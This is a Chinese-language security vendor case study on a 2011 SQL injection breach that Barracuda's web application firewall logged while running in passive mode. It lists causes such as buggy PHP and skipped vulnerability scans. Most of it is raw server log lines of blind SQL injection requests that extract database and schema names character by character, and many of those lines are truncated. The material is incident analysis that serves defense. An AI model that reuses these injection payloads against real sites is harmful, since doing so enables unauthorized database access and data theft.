梭子鱼WEB应用防火墙数据防泄露实战案例

  引言

  在如今这个Web 攻击已经实现自动化的时代，管理员对网站的安全保护不能有丝毫松懈。2011年4月9日，置于“被动模式”(只监控对网站的访问)的梭子鱼Web应用防火墙详细记录了黑客侵入一家公司市场部数据库的全过程。分析显示，该次攻击最有可能是那些犯罪意图不明显的灰帽子黑客所为。本文将具体探讨数据泄露是如何发生的，我们获得了哪些启示，以及梭子鱼Web应用防火墙会如何阻止正在进行的应用层攻击并有效防止进一步破坏。

  Web 应用的设计保证了数据能够透明地穿过网络防火墙，因此传统的四层网络防火墙无法检测并阻止七层(应用层)的攻击;然而，许多组织都还没有充分意识到四层安全措施已经不能满足当前的需求，从而使得这些组织极易受到针对各种应用的攻击。

  不管动机如何，针对 Web 应用的攻击，尤其是 SQL 注入攻击，都被证明是渗透网络并窃取数据的最有效途径：

  ·Web 应用攻击仅占全部数据泄露事件的 54%，但被窃取的数据占92%

  ·SQL 注入攻击仅占 Web 应用攻击的25%，但是被窃取的数据占89%

  数据泄露事件说明

  此次数据泄露事件的主要原因有以下几点：

  1. 网站的PHP 代码存在错误

  2. 原本应定期进行的代码漏洞扫描被忽略，导致没有及时发现PHP代码问题

  3. 网站维护人员没有开启梭子鱼Web应用防火墙的安全防护功能

  对有漏洞的代码未加以保护，受到攻击只是个时间问题。根据梭子鱼Web应用防火墙的记录和报告，攻击是这样发生的：

  数据泄露事件具体过程

  通过梭子鱼Web应用防火墙的日志，我们确认非法用户使用了两个客户端对网站进行探测和攻击：

  使用梭子鱼Web应用防火墙报告的信息，我们能够迅速在Web服务器日志上过滤并查找到相应的记录条目。

  2011-04-10 03:19:17 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((database()),13,1))=99%20and%20”x”=”x 80 - 87.1

  2011-04-10 03:19:17 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:18 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((database()),13,1))=98%20and%20”x”=”x 80 - 87.1

  2011-04-10 03:19:18 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((database()),13,1))=97%20and%20”x”=”x 80 - 87.1

  2011-04-10 03:19:19 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:21 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:24 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:26 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:28 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:31 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:32 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:33 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:37 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:39 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:41 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:46 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:48 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:48 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info

  2011-04-10 03:19:49 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info

  2011-04-10 03:19:51 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:51 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info

  2011-04-10 03:19:52 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info

  2011-04-10 03:19:53 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:53 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info

  2011-04-10 03:19:54 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info

  2011-04-10 03:19:54 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:54 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info

  2011-04-10 03:19:55 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:57 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:57 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:57 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  注：Web 日志使用的是格林威治标准时间(GMT)，而 Web 应用防火墙使用的是太平洋夏令时(PDT)